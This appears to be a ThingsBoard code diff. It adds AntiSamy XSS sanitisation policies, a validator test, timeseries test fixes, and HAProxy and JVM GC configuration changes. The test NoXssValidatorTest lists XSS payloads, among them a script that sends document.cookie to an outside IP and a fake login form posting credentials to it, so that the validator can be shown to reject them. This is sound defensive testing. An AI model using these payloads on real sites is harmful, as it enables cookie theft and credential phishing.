1 | +<?xml version="1.0" encoding="UTF-8" ?> | |
2 | +<!-- | |
3 | + | |
4 | + Copyright © 2016-2021 The Thingsboard Authors | |
5 | + | |
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | |
7 | + you may not use this file except in compliance with the License. | |
8 | + You may obtain a copy of the License at | |
9 | + | |
10 | + http://www.apache.org/licenses/LICENSE-2.0 | |
11 | + | |
12 | + Unless required by applicable law or agreed to in writing, software | |
13 | + distributed under the License is distributed on an "AS IS" BASIS, | |
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
15 | + See the License for the specific language governing permissions and | |
16 | + limitations under the License. | |
17 | + | |
18 | +--> | |
19 | +<anti-samy-rules> | |
20 | + | |
21 | + <directives> | |
22 | + <directive name="omitXmlDeclaration" value="true"/> | |
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | |
24 | + <directive name="maxInputSize" value="100000"/> | |
25 | + <directive name="embedStyleSheets" value="false"/> | |
26 | + <directive name="useXHTML" value="true"/> | |
27 | + <directive name="formatOutput" value="true"/> | |
28 | + </directives> | |
29 | + | |
30 | + <common-regexps> | |
31 | + | |
32 | + <!-- | |
33 | + From W3C: | |
34 | + This attribute assigns a class name or set of class names to an | |
35 | + element. Any number of elements may be assigned the same class | |
36 | + name or names. Multiple class names must be separated by white | |
37 | + space characters. | |
38 | + --> | |
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | |
40 | + | |
41 | + <!-- force non-empty with a '+' at the end instead of '*' | |
42 | + --> | |
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | |
44 | + | |
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | |
46 | + --> | |
47 | + | |
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | |
49 | + --> | |
50 | + <regexp name="offsiteURL" | |
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | |
52 | + </common-regexps> | |
53 | + | |
54 | + <common-attributes> | |
55 | + | |
56 | + <attribute name="lang" | |
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | |
58 | + | |
59 | + <regexp-list> | |
60 | + <regexp value="[a-zA-Z]{2,20}"/> | |
61 | + </regexp-list> | |
62 | + </attribute> | |
63 | + | |
64 | + <attribute name="title" | |
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | |
66 | + | |
67 | + <regexp-list> | |
68 | + <regexp name="htmlTitle"/> | |
69 | + </regexp-list> | |
70 | + </attribute> | |
71 | + | |
72 | + <attribute name="href" onInvalid="filterTag"> | |
73 | + | |
74 | + <regexp-list> | |
75 | + <regexp name="onsiteURL"/> | |
76 | + <regexp name="offsiteURL"/> | |
77 | + </regexp-list> | |
78 | + </attribute> | |
79 | + | |
80 | + <attribute name="align" | |
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | |
82 | + | |
83 | + <literal-list> | |
84 | + <literal value="center"/> | |
85 | + <literal value="left"/> | |
86 | + <literal value="right"/> | |
87 | + <literal value="justify"/> | |
88 | + <literal value="char"/> | |
89 | + </literal-list> | |
90 | + </attribute> | |
91 | + <attribute name="style" | |
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | |
93 | + </common-attributes> | |
94 | + | |
95 | + <global-tag-attributes> | |
96 | + <attribute name="title"/> | |
97 | + <attribute name="lang"/> | |
98 | + <attribute name="style"/> | |
99 | + </global-tag-attributes> | |
100 | + | |
101 | + <tags-to-encode> | |
102 | + <tag>g</tag> | |
103 | + <tag>grin</tag> | |
104 | + </tags-to-encode> | |
105 | + | |
106 | + <tag-rules> | |
107 | + | |
108 | + <tag name="script" action="remove"/> | |
109 | + <tag name="noscript" action="remove"/> | |
110 | + <tag name="iframe" action="remove"/> | |
111 | + <tag name="frameset" action="remove"/> | |
112 | + <tag name="frame" action="remove"/> | |
113 | + <tag name="noframes" action="remove"/> | |
114 | + <tag name="head" action="remove"/> | |
115 | + <tag name="title" action="remove"/> | |
116 | + <tag name="base" action="remove"/> | |
117 | + <tag name="style" action="remove"/> | |
118 | + <tag name="link" action="remove"/> | |
119 | + <tag name="input" action="remove"/> | |
120 | + <tag name="textarea" action="remove"/> | |
121 | + | |
122 | + <tag name="br" action="remove"/> | |
123 | + | |
124 | + <tag name="p" action="remove"/> | |
125 | + <tag name="div" action="remove"/> | |
126 | + <tag name="span" action="remove"/> | |
127 | + <tag name="i" action="remove"/> | |
128 | + <tag name="b" action="remove"/> | |
129 | + <tag name="strong" action="remove"/> | |
130 | + <tag name="s" action="remove"/> | |
131 | + <tag name="strike" action="remove"/> | |
132 | + <tag name="u" action="remove"/> | |
133 | + <tag name="em" action="remove"/> | |
134 | + <tag name="blockquote" action="remove"/> | |
135 | + <tag name="tt" action="remove"/> | |
136 | + | |
137 | + <tag name="a" action="remove"/> | |
138 | + | |
139 | + <tag name="ul" action="remove"/> | |
140 | + <tag name="ol" action="remove"/> | |
141 | + <tag name="li" action="remove"/> | |
142 | + <tag name="dl" action="remove"/> | |
143 | + <tag name="dt" action="remove"/> | |
144 | + <tag name="dd" action="remove"/> | |
145 | + </tag-rules> | |
146 | + | |
147 | + <css-rules> | |
148 | + <property name="text-decoration" default="none" | |
149 | + description=""> | |
150 | + | |
151 | + <category-list> | |
152 | + <category value="visual"/> | |
153 | + </category-list> | |
154 | + | |
155 | + <literal-list> | |
156 | + <literal value="underline"/> | |
157 | + <literal value="overline"/> | |
158 | + <literal value="line-through"/> | |
159 | + </literal-list> | |
160 | + </property> | |
161 | + </css-rules> | |
162 | +</anti-samy-rules> | |
\ No newline at end of file | ... | ... |
... | ... | @@ -24,7 +24,10 @@ import java.util.Arrays; |
24 | 24 | |
25 | 25 | @RunWith(ClasspathSuite.class) |
26 | 26 | @ClassnameFilters({ |
27 | - "org.thingsboard.server.dao.service.sql.*SqlTest" | |
27 | + "org.thingsboard.server.dao.service.sql.*SqlTest", | |
28 | + "org.thingsboard.server.dao.service.attributes.sql.*SqlTest", | |
29 | + "org.thingsboard.server.dao.service.event.sql.*SqlTest", | |
30 | + "org.thingsboard.server.dao.service.timeseries.sql.*SqlTest" | |
28 | 31 | }) |
29 | 32 | public class SqlDaoServiceTestSuite { |
30 | 33 | ... | ... |
1 | +/** | |
2 | + * Copyright © 2016-2021 The Thingsboard Authors | |
3 | + * | |
4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | |
5 | + * you may not use this file except in compliance with the License. | |
6 | + * You may obtain a copy of the License at | |
7 | + * | |
8 | + * http://www.apache.org/licenses/LICENSE-2.0 | |
9 | + * | |
10 | + * Unless required by applicable law or agreed to in writing, software | |
11 | + * distributed under the License is distributed on an "AS IS" BASIS, | |
12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
13 | + * See the License for the specific language governing permissions and | |
14 | + * limitations under the License. | |
15 | + */ | |
16 | +package org.thingsboard.server.dao.service; | |
17 | + | |
18 | +import org.junit.jupiter.api.BeforeAll; | |
19 | +import org.junit.jupiter.params.ParameterizedTest; | |
20 | +import org.junit.jupiter.params.provider.ValueSource; | |
21 | + | |
22 | +import javax.validation.ConstraintValidatorContext; | |
23 | + | |
24 | +import static org.junit.jupiter.api.Assertions.assertFalse; | |
25 | +import static org.mockito.Mockito.mock; | |
26 | + | |
27 | +public class NoXssValidatorTest { | |
28 | + private static NoXssValidator validator; | |
29 | + | |
30 | + @BeforeAll | |
31 | + public static void beforeAll() { | |
32 | + validator = new NoXssValidator(); | |
33 | + validator.initialize(null); | |
34 | + } | |
35 | + | |
36 | + @ParameterizedTest | |
37 | + @ValueSource(strings = { | |
38 | + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666", | |
39 | + "9090<body onload=alert('xsssss')>90909", | |
40 | + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy", | |
41 | + "bambam<script>alert(document.cookie)</script>", | |
42 | + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221", | |
43 | + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>", | |
44 | + " <img src= \"http://site.com/\" > ", | |
45 | + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe", | |
46 | + }) | |
47 | + public void testIsNotValid(String stringWithXss) { | |
48 | + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class)); | |
49 | + assertFalse(isValid); | |
50 | + } | |
51 | + | |
52 | +} | ... | ... |
... | ... | @@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest { |
143 | 143 | public void testFindByQueryAscOrder() throws Exception { |
144 | 144 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); |
145 | 145 | |
146 | + saveEntries(deviceId, TS - 3); | |
146 | 147 | saveEntries(deviceId, TS - 2); |
147 | 148 | saveEntries(deviceId, TS - 1); |
148 | - saveEntries(deviceId, TS); | |
149 | 149 | |
150 | 150 | List<ReadTsKvQuery> queries = new ArrayList<>(); |
151 | 151 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC")); |
152 | 152 | |
153 | 153 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); |
154 | 154 | Assert.assertEquals(3, entries.size()); |
155 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0)); | |
156 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | |
157 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); | |
155 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0)); | |
156 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | |
157 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2)); | |
158 | 158 | |
159 | 159 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); |
160 | 160 | |
161 | 161 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); |
162 | 162 | Assert.assertEquals(3, entries.size()); |
163 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0)); | |
164 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | |
165 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2)); | |
163 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0)); | |
164 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | |
165 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2)); | |
166 | 166 | } |
167 | 167 | |
168 | 168 | @Test |
169 | 169 | public void testFindByQueryDescOrder() throws Exception { |
170 | 170 | DeviceId deviceId = new DeviceId(Uuids.timeBased()); |
171 | 171 | |
172 | + saveEntries(deviceId, TS - 3); | |
172 | 173 | saveEntries(deviceId, TS - 2); |
173 | 174 | saveEntries(deviceId, TS - 1); |
174 | - saveEntries(deviceId, TS); | |
175 | 175 | |
176 | 176 | List<ReadTsKvQuery> queries = new ArrayList<>(); |
177 | 177 | queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC")); |
178 | 178 | |
179 | 179 | List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get(); |
180 | 180 | Assert.assertEquals(3, entries.size()); |
181 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0)); | |
182 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | |
183 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); | |
181 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0)); | |
182 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | |
183 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2)); | |
184 | 184 | |
185 | 185 | EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY)); |
186 | 186 | |
187 | 187 | entries = tsService.findAll(tenantId, entityView.getId(), queries).get(); |
188 | 188 | Assert.assertEquals(3, entries.size()); |
189 | - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0)); | |
190 | - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1)); | |
191 | - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2)); | |
189 | + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0)); | |
190 | + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1)); | |
191 | + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2)); | |
192 | 192 | } |
193 | 193 | |
194 | 194 | @Test | ... | ... |
dao/src/test/resources/xss-policy.xml
0 → 100644
1 | +<?xml version="1.0" encoding="UTF-8" ?> | |
2 | +<!-- | |
3 | + | |
4 | + Copyright © 2016-2021 The Thingsboard Authors | |
5 | + | |
6 | + Licensed under the Apache License, Version 2.0 (the "License"); | |
7 | + you may not use this file except in compliance with the License. | |
8 | + You may obtain a copy of the License at | |
9 | + | |
10 | + http://www.apache.org/licenses/LICENSE-2.0 | |
11 | + | |
12 | + Unless required by applicable law or agreed to in writing, software | |
13 | + distributed under the License is distributed on an "AS IS" BASIS, | |
14 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | |
15 | + See the License for the specific language governing permissions and | |
16 | + limitations under the License. | |
17 | + | |
18 | +--> | |
19 | +<anti-samy-rules> | |
20 | + | |
21 | + <directives> | |
22 | + <directive name="omitXmlDeclaration" value="true"/> | |
23 | + <directive name="omitDoctypeDeclaration" value="false"/> | |
24 | + <directive name="maxInputSize" value="100000"/> | |
25 | + <directive name="embedStyleSheets" value="false"/> | |
26 | + <directive name="useXHTML" value="true"/> | |
27 | + <directive name="formatOutput" value="true"/> | |
28 | + </directives> | |
29 | + | |
30 | + <common-regexps> | |
31 | + | |
32 | + <!-- | |
33 | + From W3C: | |
34 | + This attribute assigns a class name or set of class names to an | |
35 | + element. Any number of elements may be assigned the same class | |
36 | + name or names. Multiple class names must be separated by white | |
37 | + space characters. | |
38 | + --> | |
39 | + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&]*"/> | |
40 | + | |
41 | + <!-- force non-empty with a '+' at the end instead of '*' | |
42 | + --> | |
43 | + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&\-~])+"/> | |
44 | + | |
45 | + <!-- ([\w\\/\.\?=&;\#-~]+|\#(\w)+) | |
46 | + --> | |
47 | + | |
48 | + <!-- ([\p{L}/ 0-9&\#-.?=])* | |
49 | + --> | |
50 | + <regexp name="offsiteURL" | |
51 | + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&;:,\?=/\+!\(\)]*(\s)*"/> | |
52 | + </common-regexps> | |
53 | + | |
54 | + <common-attributes> | |
55 | + | |
56 | + <attribute name="lang" | |
57 | + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in"> | |
58 | + | |
59 | + <regexp-list> | |
60 | + <regexp value="[a-zA-Z]{2,20}"/> | |
61 | + </regexp-list> | |
62 | + </attribute> | |
63 | + | |
64 | + <attribute name="title" | |
65 | + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element"> | |
66 | + | |
67 | + <regexp-list> | |
68 | + <regexp name="htmlTitle"/> | |
69 | + </regexp-list> | |
70 | + </attribute> | |
71 | + | |
72 | + <attribute name="href" onInvalid="filterTag"> | |
73 | + | |
74 | + <regexp-list> | |
75 | + <regexp name="onsiteURL"/> | |
76 | + <regexp name="offsiteURL"/> | |
77 | + </regexp-list> | |
78 | + </attribute> | |
79 | + | |
80 | + <attribute name="align" | |
81 | + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'"> | |
82 | + | |
83 | + <literal-list> | |
84 | + <literal value="center"/> | |
85 | + <literal value="left"/> | |
86 | + <literal value="right"/> | |
87 | + <literal value="justify"/> | |
88 | + <literal value="char"/> | |
89 | + </literal-list> | |
90 | + </attribute> | |
91 | + <attribute name="style" | |
92 | + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/> | |
93 | + </common-attributes> | |
94 | + | |
95 | + <global-tag-attributes> | |
96 | + <attribute name="title"/> | |
97 | + <attribute name="lang"/> | |
98 | + <attribute name="style"/> | |
99 | + </global-tag-attributes> | |
100 | + | |
101 | + <tags-to-encode> | |
102 | + <tag>g</tag> | |
103 | + <tag>grin</tag> | |
104 | + </tags-to-encode> | |
105 | + | |
106 | + <tag-rules> | |
107 | + | |
108 | + <tag name="script" action="remove"/> | |
109 | + <tag name="noscript" action="remove"/> | |
110 | + <tag name="iframe" action="remove"/> | |
111 | + <tag name="frameset" action="remove"/> | |
112 | + <tag name="frame" action="remove"/> | |
113 | + <tag name="noframes" action="remove"/> | |
114 | + <tag name="head" action="remove"/> | |
115 | + <tag name="title" action="remove"/> | |
116 | + <tag name="base" action="remove"/> | |
117 | + <tag name="style" action="remove"/> | |
118 | + <tag name="link" action="remove"/> | |
119 | + <tag name="input" action="remove"/> | |
120 | + <tag name="textarea" action="remove"/> | |
121 | + | |
122 | + <tag name="br" action="remove"/> | |
123 | + | |
124 | + <tag name="p" action="remove"/> | |
125 | + <tag name="div" action="remove"/> | |
126 | + <tag name="span" action="remove"/> | |
127 | + <tag name="i" action="remove"/> | |
128 | + <tag name="b" action="remove"/> | |
129 | + <tag name="strong" action="remove"/> | |
130 | + <tag name="s" action="remove"/> | |
131 | + <tag name="strike" action="remove"/> | |
132 | + <tag name="u" action="remove"/> | |
133 | + <tag name="em" action="remove"/> | |
134 | + <tag name="blockquote" action="remove"/> | |
135 | + <tag name="tt" action="remove"/> | |
136 | + | |
137 | + <tag name="a" action="remove"/> | |
138 | + | |
139 | + <tag name="ul" action="remove"/> | |
140 | + <tag name="ol" action="remove"/> | |
141 | + <tag name="li" action="remove"/> | |
142 | + <tag name="dl" action="remove"/> | |
143 | + <tag name="dt" action="remove"/> | |
144 | + <tag name="dd" action="remove"/> | |
145 | + </tag-rules> | |
146 | + | |
147 | + <css-rules> | |
148 | + <property name="text-decoration" default="none" | |
149 | + description=""> | |
150 | + | |
151 | + <category-list> | |
152 | + <category value="visual"/> | |
153 | + </category-list> | |
154 | + | |
155 | + <literal-list> | |
156 | + <literal value="underline"/> | |
157 | + <literal value="overline"/> | |
158 | + <literal value="line-through"/> | |
159 | + </literal-list> | |
160 | + </property> | |
161 | + </css-rules> | |
162 | +</anti-samy-rules> | |
\ No newline at end of file | ... | ... |
... | ... | @@ -230,7 +230,7 @@ services: |
230 | 230 | haproxy: |
231 | 231 | restart: always |
232 | 232 | container_name: "${LOAD_BALANCER_NAME}" |
233 | - image: xalauc/haproxy-certbot:1.7.9 | |
233 | + image: thingsboard/haproxy-certbot:1.3.0 | |
234 | 234 | volumes: |
235 | 235 | - ./haproxy/config:/config |
236 | 236 | - ./haproxy/letsencrypt:/etc/letsencrypt | ... | ... |
... | ... | @@ -54,7 +54,7 @@ frontend http-in |
54 | 54 | |
55 | 55 | option forwardfor |
56 | 56 | |
57 | - reqadd X-Forwarded-Proto:\ http | |
57 | + http-request add-header "X-Forwarded-Proto" "http" | |
58 | 58 | |
59 | 59 | acl transport_http_acl path_beg /api/v1/ |
60 | 60 | acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/ |
... | ... | @@ -73,7 +73,7 @@ frontend https_in |
73 | 73 | |
74 | 74 | option forwardfor |
75 | 75 | |
76 | - reqadd X-Forwarded-Proto:\ https | |
76 | + http-request add-header "X-Forwarded-Proto" "https" | |
77 | 77 | |
78 | 78 | acl transport_http_acl path_beg /api/v1/ |
79 | 79 | acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/ | ... | ... |
... | ... | @@ -23,11 +23,11 @@ metadata: |
23 | 23 | name: tb-coap-transport-config |
24 | 24 | data: |
25 | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-coap-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | |
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | |
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | |
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | |
26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-coap-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" | |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}-heapdump.bin" | |
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | |
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | |
31 | 31 | export LOG_FILENAME=tb-coap-transport.out |
32 | 32 | export LOADER_PATH=/usr/share/tb-coap-transport/conf |
33 | 33 | logback: | | ... | ... |
... | ... | @@ -23,11 +23,11 @@ metadata: |
23 | 23 | name: tb-http-transport-config |
24 | 24 | data: |
25 | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-http-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | |
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | |
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | |
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | |
26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-http-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" | |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}-heapdump.bin" | |
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | |
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | |
31 | 31 | export LOG_FILENAME=tb-http-transport.out |
32 | 32 | export LOADER_PATH=/usr/share/tb-http-transport/conf |
33 | 33 | logback: | | ... | ... |
... | ... | @@ -23,11 +23,11 @@ metadata: |
23 | 23 | name: tb-mqtt-transport-config |
24 | 24 | data: |
25 | 25 | conf: | |
26 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | |
27 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | |
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | |
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | |
26 | + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M" | |
27 | + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-heapdump.bin" | |
28 | + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
29 | + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10" | |
30 | + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError" | |
31 | 31 | export LOG_FILENAME=tb-mqtt-transport.out |
32 | 32 | export LOADER_PATH=/usr/share/tb-mqtt-transport/conf |
33 | 33 | logback: | | ... | ... |
... | ... | @@ -24,11 +24,11 @@ metadata: |
24 | 24 | data: |
25 | 25 | conf: | |
26 | 26 | export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data" |
27 | - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/thingsboard/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps" | |
28 | - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10" | |
29 | - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark" | |
30 | - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled" | |
31 | - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" | |
